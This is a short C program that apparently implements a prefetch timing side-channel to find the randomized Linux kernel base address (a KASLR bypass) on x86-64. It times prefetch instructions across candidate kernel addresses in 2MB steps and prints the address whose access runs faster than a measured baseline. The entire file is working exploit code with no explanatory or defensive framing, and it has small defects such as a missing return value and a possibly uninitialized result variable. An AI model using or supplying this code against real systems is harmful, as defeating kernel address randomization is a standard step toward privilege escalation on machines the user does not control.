#define _GNU_SOURCE

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <stdbool.h>


inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

static inline void prefetch(void *p)
{
    asm volatile("prefetchnta (%0)"
                 :
                 : "r"(p));
    asm volatile("prefetcht2 (%0)"
                 :
                 : "r"(p));
}


void* fetch_kaslr_base()
{   
   uint64_t kernel_start = 0xffffffff80000000; 

   uint64_t baseline = 0;

   for (int i = 0; i < 100; i++){
	uint64_t start = rdtsc_begin();
	prefetch((uint64_t*)(kernel_start + i));
	uint64_t end = rdtsc_end();  
	baseline += end - start;
   }

   baseline = baseline / 100;

   uint64_t lowest = 0xffffffffff;
   uint64_t base_addr;

   for (int cycles = 0; cycles < 12; cycles++){
	   for (int offset = 0; offset < 0x40000000; offset += 0x200000) {
		uint64_t start = rdtsc_begin();
		prefetch((uint64_t*)(kernel_start + offset));
		uint64_t end = rdtsc_end();
		uint64_t time = end - start;
		if (time < baseline) {
			printf("Kernl base at %ld : %lx\n", time, kernel_start + offset);
			if (time < lowest) {
				lowest = time;
				base_addr = kernel_start + offset;
			}
			break;
		}
	   }
   }

   printf("Kernel base at %lx\n", base_addr);
}

int main()
{
    fetch_kaslr_base();
}